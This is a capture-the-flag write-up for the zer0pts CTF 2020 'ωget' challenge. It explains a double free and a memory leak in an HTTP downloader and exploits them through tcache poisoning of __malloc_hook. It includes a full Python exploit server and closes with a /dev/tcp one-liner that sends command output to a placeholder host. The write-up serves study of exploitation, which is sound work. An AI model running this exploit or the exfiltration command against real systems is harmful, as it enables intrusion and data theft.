# [zer0pts CTF 2020] ωget
###### tags: `zer0pts CTF` `pwn`
## Overview
We're given an ELF, libc and 3 source codes.
```
$ checksec -f omega_get
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH 92 Symbols Yes 0 12 omega_get
```
The libc version is 2.27 and all security systems are enable.
Moreover, we need to pwn the server just by passing a URL to the web interface.
In this service, the URL is passed as a first argument of `omega_get`, which will download the HTML and prints it.
## Solution
### Vulnerability
`download_file` function has a vulnerability.
If `Content-Length` is included in the response header, it allocates a buffer to store the html code. On the other hand, if `Location` is included, it frees `html` because it's no longer necessary for redirect. It doesn't set NULL to `html`, which will cause **double free** if multiple `Location` tags are included in the response header.
### Bug
Not to say a vulnearbility, there's a bug in `download_file`. When `Location` comes, it copies the new path or URL in this way:
```c
redirect = malloc(strlen(value) + 1);
memcpy(redirect, value, strlen(value));
```
If leftover is in the region allocated by malloc, `redirect` can be `value||blahblah`. We use this to leak the libc address.
### libc leak
We need libc leak as PIE and ASLR are enabled. We allocate a chunk larger than 0x420 as HTML and leak the libc address left after freeing it.
After the chunk is linked to unsorted bin, passing a path like `/1234567` in Location will overwrite the first 8 bytes and will query the URL including the libc address.
### tcache poisoning
After getting the libc address, we just need to do **tcache poisoning** by double free. However, we have 2 problems here:
- The malloced size is the length of the address we write to `fd` as it uses `strlen`
- The data to write must begin with `/` or `http://`
The first problem can be solve by double-freeing the smallest chunks. The second problem may be solved by overlapping chunks, but we take an easier way.
In libc 2.27 `__malloc_hook` exists at 0x7f...30. On the other hand, since the ascii code of `/` is 0x2f, we can point fd to right before `__malloc_hook`. Moreover, `/` will be written at 0x2f and thus we can control the following 8 bytes! (==`__malloc_hook`)
### arbitrary code execution
Calling `/bin/sh` will not help in this case. We need to run arbitrary code by `system`. At first glance it's impossible to pass an argument because we're using `__malloc_hook`. However, as the size read by `Content-Length` is long-typed, we can set very large value there, such as the address of heap.
### heap leak
In order to pass the command prepared on the heap, we leak the heap address first. The way to leak the heap address is same as that of libc.
## exploit
Final exploit: tested on `127.0.0.1`
(`heap_delta` must be changed. If the server IP is `XXX.XXX.XX.XX`, for example, `cmd_delta` must be 0x911.)
```python
from ptrlib import *
import contextlib
import socket
HOST, PORT = '127.0.0.1', 10080
BASE = 'http://{}:{}'.format(HOST, PORT)
PATH_0 = '/'
PATH_1 = '/' + '0' * 0x1f
PATH_B = '/' + 'B' * 7
PATH_C = '/' + 'C' * 0x1f
libc_base, heap_base = None, None
heap_delta = 0x52f
cmd_delta = 0x8e1
# cmd length must be larger than 0x18
cmd = b'ls -lha'
cmd += b' ' * 0x20
def exploit(sock, path):
global libc_base
global heap_base
payload = b'HTTP/1.1 OK 200\r\n'
print(path)
if path == PATH_0:
""" 1-1) double free
prepare heap address
"""
payload += str2bytes('Content-Length: {}\r\n'.format(0x40)) # make sure [0x55...2f] == NULL
payload += str2bytes('Content-Length: {}\r\n'.format(0x10))
payload += str2bytes('Location: {}\r\n'.format(PATH_1)) * 3
payload += b'\r\n'
elif path == PATH_1:
""" 1-2) heap leak
use buffer overread in redirect to leak heap address
"""
payload += str2bytes('Location: /\r\n')
payload += str2bytes('Content-Length: {}\r\n'.format(0x10))
payload += b'\r\n'
elif path.startswith(PATH_B):
libc_base = u64(str2bytes(path)[8:]) - libc.main_arena() - 0x60
logger.info("libc = " + hex(libc_base))
""" 2-2) double free
double free html
"""
payload += str2bytes('Content-Length: {}\r\n'.format(0x10))
payload += str2bytes('Location: {}\r\n'.format(PATH_C)) * 3
payload += b'\r\n'
elif path == PATH_C:
""" 2-3) tcache poisoning
overwrite fd to __malloc_hook and write one gadget
since __malloc_hook is located at 0x7f...30,
we can make fd point to 0x7f...2f ('/'==0x2f)
also the first one byte can be '/' followed by one gadget address
"""
malloc_hook = libc_base + libc.symbol('__malloc_hook')
system = libc_base + libc.symbol('system')
addr_cmd = heap_base + cmd_delta
payload += b'Location: /' + cmd + b'\r\n'
payload += b'Location: /' + p64(malloc_hook)[1:] + b'\r\n'
payload += b'Location: /dummy\r\n'
payload += b'Location: /' + p64(system) + b'\r\n'
payload += str2bytes('Content-Length: {}\r\n'.format(addr_cmd - 1))
payload += b'\r\n'
elif path.startswith('/'):
heap_base = u64(path) - heap_delta
logger.info("heap = " + hex(heap_base))
""" 2-1) libc leak
allocate and free html
use buffer overread in redirect to leak libc address
"""
payload += str2bytes('Content-Length: {}\r\n'.format(0x420))
payload += str2bytes('Location: /{}\r\n'.format('W'*0x30))
payload += str2bytes('Content-Length: {}\r\n'.format(0x10)) * 3
payload += str2bytes('Location: {}\r\n'.format(PATH_B))
payload += b'\r\n'
sock.send(payload)
return
if __name__ == '__main__':
libc = ELF("../distfiles/libc-2.27.so")
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
with contextlib.closing(sock):
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind((HOST, PORT))
sock.listen(1)
while True:
client, addr = sock.accept()
with contextlib.closing(client):
path = client.recv(4096).split()[1]
exploit(client, bytes2str(path))
```
Yay! We get arbitrary code executions!
```
$ ./omega_get http://127.0.0.1:10080/
合計 2.0M
drwxrwxr-x 2 ptr ptr 4.0K 1月 9 23:31 .
drwxrwxr-x 5 ptr ptr 4.0K 1月 4 10:44 ..
-rw------- 1 ptr ptr 3.9K 1月 9 23:31 .gdb_history
-rwxr-xr-x 1 ptr ptr 2.0M 1月 9 14:37 libc-2.27.so
-rwxrwxr-x 1 ptr ptr 14K 1月 9 22:04 omega_get
[ABORT] Memory error
```
We can leak flag by executing something like `bash -c "ls > /dev/tcp/XXXX/YYYY"`.